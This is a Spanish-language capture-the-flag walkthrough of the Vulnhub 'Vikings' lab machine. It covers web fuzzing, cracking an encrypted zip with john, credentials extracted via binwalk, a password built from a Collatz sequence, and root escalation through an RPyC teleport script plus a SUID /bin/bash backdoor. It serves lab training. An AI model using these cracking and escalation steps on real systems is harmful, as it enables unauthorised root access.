Vulnhub - Vikings
Máquina Linux de nivel Easy de Vulnhub.
Técnicas usadas: Information Leakage, Criptografía, Rpyc
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Vikings
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Enumeramos por archivos .zip, .txt, .php, .php.bak
1
2
3
wfuzz -c -t 50 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -z list,zip-txt-php-php.bak http://<IP>/site/FUZZ.FUZ2Z
000002545: 200 1 L 1 W 13 Ch "war - txt"
Al ir al archivo war.txt veremos una ruta /war-is-over, y al ir conseguimos información, la cual nos descargaremos con cURL (La data está en base64 por lo que antes de guardarla la decodemos)
1
curl -s -X GET "http://192.168.100.14/site/war-is-over/" | base64 -d > data
d. Veremos el tipo de fichero
1
2
file data
data: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
- Cambiamos la extensión del archivo mv data data.zip y extraemos el hash para tratar de crackearlo con john usando el diccionario rockyou.txt
1
2
3
4
zip2john data.zip > hash
john hash -w=/usr/share/wordlists/rockyou.txt
ragnarok123
- Extraemos los archivos de data.zip, veremos que obtenemos un fichero king
e. Con binwalk extraeremos todo tipo de información de este fichero
1
binwalk -e king --run-as=root
Como resultado obtenemos un directorio _king.extracted, y dentro de este, el archivo user
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
f. Nos conectamos en el servicio SSH con las credenciales floki:f@m0usboatbuilde7
Escalada de Privilegios 💹
a. En el directorio de floki existe el fichero boat y vemos que existe otro usuario ragnar
1
2
3
4
5
6
floki@vikings:~$ cat boat
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
floki@vikings:~$ ls /home/
floki ragnar
La conjetura de collatz plantea que al realizar operaciones con un número, si es par lo dividimos en 2, caso contrario lo multiplicamos por 3 y el sumamos 1 y hacemos esta operación múltiples veces, siempre llegaremos al número 1, sin importar con que número empecemos. Por ejemplo, tomando n = 6, la secuencia es: 6, 3, 10, 5, 16, 8, 4, 2, 1
b. Creamos un script en python con la lógica de la conjetura de collatz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
first_number = 109 # 29vo Numero Primo
password = chr(first_number)
while (first_number != 1):
if (first_number % 2 == 0):
first_number //= 2
else:
first_number = (first_number * 3) + 1
if(first_number >= 32 and first_number <= 126):
password += chr(first_number)
print(password)
---------------------------------------------------
mR)|>^/Gky[gz=\.F#j5P(
c. Intentamos autenticarnos como el usuario ragnar con la cadena obtenida previamente
1
2
3
floki@vikings:~$ su ragnar
Password:
ragnar@vikings:/home/floki$
d. Leemos el archivo .profile del directorio personal de ragnar
1
2
3
4
ragnar@vikings:~$ cat .profile
<SNIP>
sudo python3 /usr/local/bin/rpyc_classic.py
<SNIP>
RPYC:
(Remote Python Call) es un protocolo de comunicación utilizado para permitir la ejecución de código Python en un sistema remoto desde otro sistema, todo ello a través de la red. Por defecto, RPyC escucha en el puerto TCP 18812 para las conexiones de servicio y en el puerto TCP 18811 para las conexiones de registros.
- De lo anterior observamos que podemos ejecutar rpcy como root, y al ver los puertos abiertos en la Máquina Víctima veremos que el puerto 18812 está abierto
e. Ejecutamos un comando usando rpcy
1
2
3
4
5
6
7
8
9
10
11
12
13
import rpyc
def getshell():
import subprocess
result = subprocess.Popen("whoami", shell=True, stdout=subprocess.PIPE)
return result.communicate()[0]
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(getshell)
output = fn()
print(output.decode())
---------------------------------------------------------------------------
root
f. Asignamos el permiso SUID al bash chmod +s /bin/bash
y spawneamos un shell como root
1
2
3
ragnar@vikings:~$ bash -p
bash-4.4# whoami
root